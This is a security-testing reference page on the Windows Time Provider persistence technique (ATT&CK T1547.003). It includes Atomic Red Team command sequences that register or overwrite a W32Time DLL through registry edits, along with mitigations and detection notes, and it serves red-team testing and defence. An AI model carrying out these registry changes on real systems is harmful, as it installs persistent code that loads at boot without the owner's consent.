cyberstrikeus T1547.003 Time Providers
Sub-technique of: T1547
High-Level Description
Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.
Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the DllName value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.
Kill Chain Phase
- Persistence (TA0003)
- Privilege Escalation (TA0004)
Platforms: Windows
What to Check
- Identify if Time Providers technique is applicable to target environment
- Check Windows systems for indicators of Time Providers
- Verify mitigations are bypassed or absent (2 known mitigations)
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Create a new time provider
Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Supported Platforms: windows Elevation Required: Yes
net stop w32time
Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time
Atomic Test 2: Edit an existing time provider
Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Supported Platforms: windows Elevation Required: Yes
net stop w32time
Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Time Providers by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1547.003 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1024 Restrict Registry Permissions
Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry.
M1022 Restrict File and Directory Permissions
Consider using Group Policy to configure and block additions/modifications to W32Time DLLs.
Detection
Detect Abuse of Windows Time Providers for Persistence
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| Time Providers technique applicable | High | Persistence |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-276 | Incorrect Default Permissions |